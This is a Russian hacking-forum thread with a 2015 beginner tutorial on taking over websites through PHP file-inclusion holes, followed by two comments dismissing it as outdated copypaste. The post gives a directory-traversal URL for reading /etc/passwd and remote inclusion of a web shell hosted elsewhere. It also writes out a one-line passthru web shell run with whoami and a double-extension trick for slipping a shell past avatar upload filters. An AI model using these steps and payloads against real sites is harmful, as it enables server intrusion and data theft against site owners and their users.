Добро пожаловать, Гость!
Тема закрыта для обсуждения
PHP инклуид и залитие шелла на сервер
Архив закрытых тем | PHP инклуид и залитие шелла на сервер

PHP инклуид и залитие шелла на сервер
2 Июня 2015Как думаю, ты знаешь это
ошибка или дыра в PHP коде.
Попытаюсь объяснить тебе
суть, так как прежде чем
использовать уязвимость
нужно знать, как она действует.
include() – эта php функция
которая может подключать
файл в место, где она
находится.И выполнять его.
Это может быть какой-либо
модуль нужный для работы
сайта
Что можно сделать с помощью
инклуида?
Залить скрипт;
Прочитать директорию;
Пример вызова:
include($file);
Если кто не знаком с пхп то
после знака «$» объявляется
переменная, эта переменная
«file» а в ней путь к
подключаемому модулю. Т.е. у
этой функции есть только один
аргумент – путь. Как ты,
наверное, догадался, мы будем
указывать путь к нужному нам
скрипту. Разберем пример:
Ссылка
index.php?file=prosto.php
здесь используется php скрипт
index.php, в скрипте есть
переменная «file» в нее
записываться ссылка на скрипт
«prosto.php».
Нам нужно проверить есть ли
тут php инклуид,
мы делаем так:
Ссылка
index.php?file=
[xixi]
если есть дыра то появиться
что, то вроде такого
«Warning: main([xixi].php):
failed to open stream: No such
file or directory in /home/user/
www/file.php on line 3»
Он ругается и говорить, что не
может найти «[xixi]».
Значит уязвимость есть.
Можешь радоваться.
Итак, уязвимость мы нашли что
дальше? А дальше как
получится.
Есть два вида инклуида
*Локальный
*Внешний
Разберем внешний:
Ссылка
index.php?file=...e.ru/shell.txt
в переменную file мы записали
путь к шеллу ( www.mysite.ru/
shell.txt) и передали скрипту.
Скрипт прочитает содержимое
файла shell.txt
Ниже мы узнаем какую пользу
это нам принесет
Теперь разберем локальный.
Здесь ты можешь только читать
данные с сервера вот пример
Ссылка
index.htm?page=
../../../../../../etc/passwd
Прочитаем соответственно
директорию "etc/passwd".
Т.е. в локальном мы только
читаем что-то с сервака, а вот
во внешнем есть возможность
заливать из внешних
источников какие-либо
данные.
Вот собственно и вся
реализация этой дыры.
А теперь разберемся с
загрузкой шелла. Собственно
обычно ради этого и нужен
инклуид.
Вообще что такое шелл? Есть
два вида шелла
Просто шел и веб-шел.
Обычный шелл нужен для
удобного диалога юзера с
системой (я про никсы).
А вот веб-шел это как раз то что
мы и разбираем.
Веб-шеллы обычно пишут на
PHP. Содержание его может
быть самое разное. Например
можно с помощью всего одной
функции вывести командную
строку. Но это не очень удобно
(особенно не знаешь какие
команды вводить). Можно
просто выполнить какое-то
действие, например вывести
все директории сервера. В
общем вся мощь PHP. Но
кодеры делают специальную
оболочку с помощью которой
могут управлять или узнавать
инфу с сервера.
Если ты кодишь то можешь
написать свой шелл. Сделать
там все удобные для себя
функции и команды. Также
можно добавить что нибудь
необычное. Шелл лучше
писать с авторизацией входа –
тоесть чтобы всякие
проходимцы туда не совались.
Про написание кода я говорить
не буду. Эта тема другая.
Почитать об этом можно здесь
Ссылка
showthread.php?p=74127
В противном случае
Если ты не кодишь. То нужно
скачать готовый шелл. Но учти
что это не по-мужски. Если ты
не хочешь так и остаться в
новичках, то рано или поздно
нужно учить веб-языки.
Выше я говорил что не буду
описывать процесс написания
веб-шелла. Пожалуй мы
напишем простейший скрипт
для этих целей, чтобы наглядно
рассмотреть его работу.
Открывай блокнот и забивай
вот такие письмена:
passthru($command);
?>
Это я тебе привел самый
классический пример шелла на
PHP. Специально для тех, кто не
утруждается изучением этого
крутейшего языка, поясняю -
функция "PassThru()"
выполняет команду
операционной системы,
полученную в качестве
аргумента. Как видим, в
качестве аргумента у нас
переменная $command, а мы ее
не определили. Самые хитрож...
умные уже догадались, что эту
переменную мы получим из
строки запроса, т.е.:
Ссылка
shell.php?
command=НашаКоманда
И сохраняй под именем
shell.php
Как залить шелл? Сначала
нужно зарегистрироваться на
любом хостинге. Оптимальный
вариант narod.ru. Заливаешь
туда свой скрипт (готовый
шелл) и берешь ссылку.
Едешь на дырявый сайт и
делаешь так:
Ссылка
index.php?
file=...command=whoami
Если ты не сам его писал, то
можно не скачивать, а указать
только ссылку на него.
Ну вот эта команда (whoami)
покажет твой уровень прав в
системе.
Можно использовать команды
данной оси (операционной
системы)
Но это не единственный способ.
Можно залить с помощью SQL
инъекции. Но так как это статья
по инклуиду то поищи инфу в
сети.
Есть вариант залить шелл
можно с помощью Картинки
или других средств загрузки
данных на сервер.
Разберем такую ситуацию. Тебе
можно залить свой аватар на
сервер.
Вместо картинки ты ставишь
шелл с расширением *.php.
Итак, ты пытаешься залить
Shell.php скорее всего не
получиться. На большинстве
сайтов есть фильтр. Т.е. можно
заливать только файлы с
графическими расширениями.
Можно и это обойти вот так:
Shell.php.gif – двойное
расширение. А потом просто
вызвать его.
Надеюсь, ты понял, что это
можно сделать в зависимости
от ситуации.
Комментарии:

Тему переместил Администратор Dreamer из раздела PHP/MySQL в раздел Архив закрытых тем

да так никто не пишет уже,
это первое, второе, статья до такой степени истоптана что ее только ленивый не читал ))



Engine, поддержу. Сейчас даже дети таких ошибок не делают.
// автор, ты свой текст написал бы. Данным копипастом старинным, ты отнимаешь время у пользователей старых, а новых в блудняк вводишь